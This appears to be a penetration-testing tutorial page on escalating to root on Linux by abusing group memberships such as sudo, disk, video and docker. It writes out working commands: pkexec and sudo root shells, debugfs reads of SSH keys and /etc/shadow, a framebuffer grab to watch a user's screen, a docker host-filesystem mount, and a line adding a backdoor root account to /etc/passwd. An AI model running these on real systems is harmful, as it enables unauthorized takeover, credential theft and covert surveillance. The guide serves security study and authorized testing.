200 lines
7.1 KiB
Markdown
200 lines
7.1 KiB
Markdown
# Interesting Groups - Linux PE
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## Sudo/Admin Groups
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### **PE - Method 1**
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**Sometimes**, **by default \(or because some software needs it\)** inside the **/etc/sudoers** file you can find some of these lines:
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```bash
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# Allow members of group sudo to execute any command
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%sudo ALL=(ALL:ALL) ALL
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# Allow members of group admin to execute any command
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%admin ALL=(ALL:ALL) ALL
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```
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This means that **any user that belongs to the group sudo or admin can execute anything as sudo**.
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If this is the case, to **become root you can just execute**:
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```text
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sudo su
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```
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### PE - Method 2
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Find all suid binaries and check if there is the binary **Pkexec**:
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```bash
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find / -perm -4000 2>/dev/null
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```
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If you find that the binar**y pkexec is a SUID** binary and you belong to **sudo** or **admin**, you could probably execute binaries as sudo using `pkexec`.
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This is because typically those are the groups inside the **polkit policy**. This policy basically identifies which groups can use `pkexec`. Check it with:
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```bash
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cat /etc/polkit-1/localauthority.conf.d/*
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```
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There you will find which groups are allowed to execute **pkexec** and **by default** in some linux disctros the groups **sudo** and **admin** appear.
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To **become root you can execute**:
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```bash
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pkexec "/bin/sh" #You will be prompted for your user password
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```
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If you try to execute **pkexec** and you get this **error**:
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```bash
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polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
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==== AUTHENTICATION FAILED ===
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Error executing command as another user: Not authorized
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```
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**It's not because you don't have permissions but because you aren't connected without a GUI**. And there is a work around for this issue here: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). You need **2 different ssh sessions**:
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{% code title="session1" %}
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```bash
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echo $$ #Step1: Get current PID
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pkexec "/bin/bash" #Step 3, execute pkexec
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#Step 5, if correctly authenticate, you will have a root session
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```
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{% endcode %}
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{% code title="session2" %}
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```bash
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pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
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#Step 4, you will be asked in this session to authenticate to pkexec
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```
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{% endcode %}
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## Wheel Group
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**Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line:
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```text
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%wheel ALL=(ALL:ALL) ALL
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```
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This means that **any user that belongs to the group wheel can execute anything as sudo**.
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If this is the case, to **become root you can just execute**:
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```text
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sudo su
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```
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## Shadow Group
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Users from the **group shadow** can **read** the **/etc/shadow** file:
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```text
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-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
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```
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So, read the file and try to **crack some hashes**.
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## Disk Group
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This privilege is almost **equivalent to root access** as you can access all the data inside of the machine.
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Files:`/dev/sd[a-z][1-9]`
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```bash
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df -h #Find where "/" is mounted
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debugfs /dev/sda1
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debugfs: cd /root
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debugfs: ls
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debugfs: cat /root/.ssh/id_rsa
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debugfs: cat /etc/shadow
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```
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Note that using debugfs you can also **write files**. For example to copy `/tmp/asd1.txt` to `/tmp/asd2.txt` you can do:
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```bash
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debugfs -w /dev/sda1
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debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
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```
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However, if you try to **write files owned by root** \(like `/etc/shadow` or `/etc/passwd`\) you will have a "**Permission denied**" error.
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## Video Group
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Using the command `w` you can find **who is logged on the system** and it will show an output like the following one:
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```bash
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USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
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yossi tty1 22:16 5:13m 0.05s 0.04s -bash
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moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
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```
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The **tty1** means that the user **yossi is logged physically** to a terminal on the machine.
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The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to **grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size`
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```bash
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cat /dev/fb0 > /tmp/screen.raw
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cat /sys/class/graphics/fb0/virtual_size
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```
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To **open** the **raw image** you can use **GIMP**, select the **`screen.raw`** file and select as file type **Raw image data**:
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Then modify the Width and Height to the ones used on the screen and check different Image Types \(and select the one that shows better the screen\):
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## Root Group
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It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges...
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**Check which files root members can modify**:
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```bash
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find / -group root -perm -g=w 2>/dev/null
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```
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## Docker Group
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You can **mount the root filesystem of the host machine to an instance’s volume**, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine.
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```bash
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docker image #Get images from the docker service
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#Get a shell inside a docker container with access as root to the filesystem
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docker run -it --rm -v /:/mnt <imagename> chroot /mnt bash
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#If you want full access from the host, create a backdoor in the passwd file
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echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/passwd
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#Ifyou just want filesystem and network access you can startthe following container:
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docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash
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```
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Finally, if you don't like any of the suggestions of before, or they aren't working for some reason \(docker api firewall?\) you could always try to **run a privileged container and escape from it** as explained here:
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{% page-ref page="../docker-breakout.md" %}
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If you have write permissions over the docker socket read [**this post about how to escalate privileges abusing the docker socket**](../#writable-docker-socket)**.**
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{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
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{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
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## lxc/lxd Group
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{% page-ref page="./" %}
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## Adm Group
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Usually **members** of the group **`adm`** have permissions to **read log** files located inside _/var/log/_.
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Therefore, if you have compromised a user inside this group you should definitely take a **look to the logs**.
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## Auth group
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Inside OpenBSD the **auth** group usually can write in the folders _**/etc/skey**_ and _**/var/db/yubikey**_ if they are used.
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These permissions may be abused with the following exploit to **escalate privileges** to root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
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